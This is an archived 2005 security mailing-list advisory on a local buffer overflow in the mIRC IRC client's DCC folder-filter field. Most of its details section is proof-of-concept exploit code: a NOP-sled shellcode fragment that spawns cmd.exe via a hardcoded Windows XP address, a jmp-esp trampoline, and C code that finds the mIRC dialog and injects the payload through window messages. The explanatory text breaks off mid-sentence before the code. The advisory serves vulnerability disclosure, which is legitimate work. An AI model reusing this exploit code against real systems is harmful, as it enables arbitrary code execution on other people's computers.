

[NT] mIRC Local Buffer Overflow (DDC Filter)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00104.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 28 Dec 2005 12:00:40 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

mIRC Local Buffer Overflow (DDC Filter)

SUMMARY

<<http://www.mirc.com/>> mIRC is "a friendly IRC client that is well equipped with options and tools". By filling a long string in the DDC filter field, it is possible to trigger a buffer overflow in mIRC.

DETAILS

Vulnerable Systems:

* mIRC 6.16,6.12,6.03 and 5.91

When adding/editing filters to locate the specified folder for the files transfered by DCC (Tools >> Options >> DCC >> Folders), it is possible to trigger a buffer overflow if the string used is greater or equal to 981 bytes. The application crash showing an memory error 0x0000.

The address in the exception shows the value of the second edit field (0x0000 if it's empty). If we write AAAA in this field, the error it's 0x41414141, overwrite the eip and we can take the control and execute arbitrary code.

At first look executing a shellcode appears to be difficult, since we only

[NT] mIRC Local Buffer Overflow (DDC Filter)

```
"\xBB\x44\x80\xbf\x77"  
"\xFF\xD3"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
```

```
//Shellcode system("cmd.exe"), system in \x44\x80\xbf\x77 0x77bf8044  
(WinXP Sp1 Spanish)
```

```
char saltaoffset[]="\xBB\x9B\xE2\x77\x90\x90\x90\x90\x90"  
"\x83\xEC\x74\xFF\xE4\x90\x90"; // jmp esp 0x77E29BBB (advapi32.dll) , sub  
esp 0x74, jmp esp
```

```
IHandle=FindWindow(NULL, "DCC Get Folder");
```

```
if (!IHandle)  
{  
printf("\nCan't find mIRC DCC Get Folder Dialog :\nIn mIRC  
Options/DCC/Folders push ADD\n");  
return 0;  
}  
else  
{ printf("handle for mIRC DCC Get Folder Dialog : 0x%X\n",IHandle); }
```

```
SetForegroundWindow(IHandle);  
IHandledit = FindWindowEx(IHandle, 0, "Edit", 0);  
printf("handle for First Edit : 0x%X\n",IHandledit);  
printf("ASCII Shellcode in first edit : %s\n", shellcode);  
SendMessage(IHandledit, WM_SETTEXT,0,(LPARAM)shellcode);
```

```
IHandledit2 = GetWindow(IHandledit, GW_HWNDNEXT);  
GetClassName(IHandledit2, strClass, sizeof(strClass));
```

```
while ( lstrcmp(strClass,"Edit") )  
{  
IHandledit2 = GetWindow(IHandledit2, GW_HWNDNEXT);  
GetClassName(IHandledit2, strClass, sizeof(strClass));  
}
```

```
printf("handle for Second Edit : 0x%X\n",IHandledit2);  
Sleep(500);  
printf("ASCII Shellcode in second edit : %s\n", saltaoffset);
```

[NT] mIRC Local Buffer Overflow (DDC Filter)

```
SendMessage(lHandledit2, WM_SETTEXT,0,(LPARAM)saltaoffset);
Sleep(500);
SendMessage (lHandledit2, WM_IME_KEYDOWN, VK_RETURN, 0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:crowdat@xxxxxxxx>> Crowdat Kurobudetsu.

The original article can be found at:

<http://www.shellsec.net/leer_advisory.php?id=9>

http://www.shellsec.net/leer_advisory.php?id=9

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[UNIX\] Perl Format String Integer Wrap*](#)
 - Next by Date: [*\[NT\] Microsoft Internet Explorer Keyboard Shortcut Processing*](#)
 - Previous by thread: [*\[UNIX\] Perl Format String Integer Wrap*](#)
 - Next by thread: [*\[NT\] Microsoft Internet Explorer Keyboard Shortcut Processing*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)